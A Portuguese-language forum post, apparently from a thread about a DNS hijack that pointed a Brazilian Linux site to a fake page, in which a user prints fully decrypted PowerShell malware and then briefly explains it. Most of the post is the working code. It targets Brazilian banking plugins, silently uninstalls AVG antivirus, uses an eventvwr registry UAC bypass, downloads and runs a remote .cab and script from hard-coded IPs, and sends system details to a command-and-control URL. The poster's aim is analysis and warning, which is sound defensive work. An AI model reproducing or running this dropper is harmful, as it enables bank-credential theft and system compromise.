VOL sofreu sequestro de DNS e foi apontado para um site FAKE
85. Re: VOL sofreu sequestro de DNS e foi apontado para um site FAKE
andremilke
(usa Debian)
Enviado em 25/11/2016 - 13:14h
andremilke escreveu:
Terminei de decriptar o código todo da função, tive que fazer mais algumas iterações descompactando e decriptando.
Terminei de decriptar o código todo da função, tive que fazer mais algumas iterações descompactando e decriptando.
$ie = New-Object -com internetexplorer.application;
$ie.visible = $true;
$ie.navigate("");
$mtx = New-Object System.Threading.Mutex($false, "mtt")
if ($mtx.WaitOne(500)) {
if(-not (Test-Path "$env:APPDATA\$(Microsoft\Windows\Templates\log.txt -join '')")){
(Windows working normally, ignore this log -join '') >> "$env:APPDATA\$(Microsoft\Windows\Templates\log.txt -join '')"
if(((Get-Culture).Name.ToLower() -eq (pt-Br -join '').ToLower())) {
$dir = (${env:ProgramFiles(x86)}, ${env:ProgramFiles} -ne $null)[0];
$gbPath = Join-Path $dir (GbPlugin -join '');
$paths = @{(Join-Path $gbPath gbiehcef.dll) = "104";(Join-Path $gbPath gbiehscd.dll) = "751";(Join-Path $gbPath gbieh.dll) = "001";(Join-Path $gbPath gbiehuni.dll) = "341";(Join-Path ($env:ProgramFiles) "\AppBrad\NetExpress50.exe") = "APP237";(Join-Path ($env:ProgramFiles) Trusteer) = "Trust";(Join-Path ($env:LOCALAPPDATA) "\Aplicativo Itau\itauaplicativo.exe") = "APP341";};
foreach ($path in $paths.GetEnumerator()) { if(Test-Path $($path.Name) ){ $V1 += $($path.Value) + ","}};
$avs = (Get-WmiObject -Namespace (root\SecurityCenter2 -join '') -QUERY (SELECT DisplayName FROM AntiVirusProduct -join ''));
foreach ($av1 in $avs) { $av += $av1.displayName + ","};
if($av -like "*avg*"){
Start-Process -WindowStyle Hidden powershell.exe -ArgumentList -NoP -NonI -W Hidden -E $command = 'C:\Windows\System32\cmd.exe /c powershell -NoP -NonI -W Hidden -E "$uninstall32s = gci "HKLM:\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
$uninstall64s = gci "HKLM:\SOFTWARE\Microsoft\Windows\CurrentVersion\Uninstall" | foreach { gp $_.PSPath } | ? { $_ -like "*AVG*" } | select UninstallString;
foreach($uninstall64 in $uninstall64s) {
$uninstall64 = $uninstall64.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall64 = $uninstall64.Trim();
if($uninstall64 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall64 /qn /norestart" -Wait }};
foreach($uninstall32 in $uninstall32s) {
$uninstall32 = $uninstall32.UninstallString -Replace "MsiExec.exe","" -Replace "/I","" -Replace "/X","";
$uninstall32 = $uninstall32.Trim();
if($uninstall32 -like "*Program Files*"){}else{start-process "msiexec.exe" -args "/x $uninstall32 /qn /norestart" -Wait }};"';
$path = "HKCU:\Software\Classes\mscfile\shell\open\command";
if ((Get-ItemProperty -Path $path -Name "(default)" -ErrorAction SilentlyContinue) -eq $null){
New-Item $path -Force | New-ItemProperty -Name "(Default)" -Value $command -PropertyType string -Force | Out-Null }
else{exit};
$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath("System")) -ChildPath "eventvwr.exe";
Start-Process -FilePath $eventvwrPath;
Start-Sleep -Seconds 5;
$mscfilePath = "HKCU:\Software\Classes\mscfile";
if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force}; -join'' -wait;
while((get-service -Name (avgwd -join '')).Status -eq (Running -join '')) {Start-Sleep -Seconds 10;}
}
$ps = (Get-ChildItem (HKLM:\SOFTWARE\Microsoft\NET Framework Setup\NDP -join '') -recurse | Get-ItemProperty -name Version,Release -EA 0 | Where { $_.PSChildName -match '^(?!S)\p{L}'} | Select Version | Sort-Object Version –Descending)[0].Version;
if(Test-Path $(Join-Path $dir (WinRAR -join ''))){
$wr = (.:Winrar-join '')
}
if($v1) {
$durl = "http://130.211.157.13/artw/COF267F9415EF3518C.cab"
$ll = "COF267F9415EF3518C.cab"
$output = "$env:APPDATA\$(Microsoft\Windows\Templates\ -join '')" + $ll;
(New-Object System.Net.WebClient).DownloadFile($durl, $output);
Start-Process -WindowStyle Hidden powershell.exe -ArgumentList "-NoP -NonI -W Hidden -E $dd = 'COF267F9415EF3518C.cab,C3F5EBEC1';
$command = (C:\Windows\System32\cmd.exe /c powershell.exe rundll32 $env:APPDATA\Microsoft\Windows\Templates\ -join '') + $dd;
$path = (HKCU:\Software\Classes\mscfile\shell\open\command -join '');
if ((Get-ItemProperty -Path $path -Name ((Default) -join '') -ErrorAction SilentlyContinue) -eq $null){
New-Item $path -Force | New-ItemProperty -Name ((Default) -join '') -Value $command -PropertyType string -Force | Out-Null }
else{exit};
$eventvwrPath = Join-Path -Path ([Environment]::GetFolderPath((System -join ''))) -ChildPath (eventvwr.exe -join '');
Start-Process -FilePath $eventvwrPath;
Start-Sleep -Seconds 5;
$mscfilePath = (HKCU:\Software\Classes\mscfile -join '');
if (Test-Path $mscfilePath) {Remove-Item $mscfilePath -Recurse -Force};
";
}
$durl = "http://130.211.157.13/artw/arquivo"
Start-Process -WindowStyle Hidden powershell.exe -ArgumentList "-NoP -NonI -W Hidden iex(New-Object Net.WebClient).DownloadString('$durl')"
$tudo = (Get-WmiObject -Namespace (root\CIMV2-join '') -QUERY (SELECT * FROM Win32_OperatingSystem -join ''));
$w = [System.Net.WebRequest]::Create("http://31.220.57.180/frontile/LIMITED/LetsGo.php" + "?A=A&Sytem=" + $tudo.CSName + "::" + $tudo.Caption + ".:" + $tudo.CSDVersion +"("+$tudo.OsArchitecture+")"+ "ps.:" + $ps + $wr + "" +"&qual=" + $V1 + "&ele=" + $av).getResponse();
}
}
$mtx.ReleaseMutex()
$mtx.Dispose()
}
Dei uma olhada no fonte, não é só o Itaú não, tem outros bancos, por exemplo '001' Banco do Brasil e '104' CEF. Pela minha análise, ele primeiro tenta desinstalar os arquivos gbplugin disponíveis na máquina, põe o AVG em hibernação e tenta instalar um .cab dele (COF267F9415EF3518C.cab) para o eventviewer e remove algumas chaves no registro do windows. Executa um arquivo, de uma url 130.211.157.13/artw/arquivo e também faz uma requisição http via get para outro link.